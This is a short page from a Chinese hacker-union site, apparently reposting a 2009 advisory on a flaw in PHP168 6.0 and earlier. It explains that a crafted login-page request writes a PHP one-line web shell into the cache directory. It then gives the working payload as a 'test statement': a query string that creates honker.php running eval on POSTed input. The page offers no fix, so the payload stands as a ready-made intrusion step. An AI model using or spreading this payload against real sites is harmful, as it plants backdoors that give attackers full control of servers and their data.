PHP168 6.0及以下版本漏洞

首页

新闻中心

安全文档

红客学院

下载中心

联盟原创

红盟论坛

PHP168 6.0及以下版本漏洞

发表时间：2009-09-07 23:43:31 作者：Amxking 来源：红客联盟收藏本页

危险等级：高

影响版本：PHP168 6.0以下版本

入侵者可以在用户登陆页面构造特殊语句，将PHP一句话写入cache目录，从而获得使用PHP168整站程序网站的WEBSHELL权限。

测试语句：

     ?makehtml=1&chdb[htmlname]=honker.php&chdb[path]=cache&content=?php%20@eval($_POST[honker]);?

上一篇：Zorum index.php多个参数SQL注入漏洞

下一篇：akPlayer PLT播放列表文件处理缓冲区溢出漏洞

milw0rm	草根站长	华夏黑盟	鲁大师	数据恢复	红盟	红色黑客联盟	中国黑客联盟
编程技术与维护	安防快线	Tosec安全组	3.A.S.T小组	华彩联盟论坛	Win7之家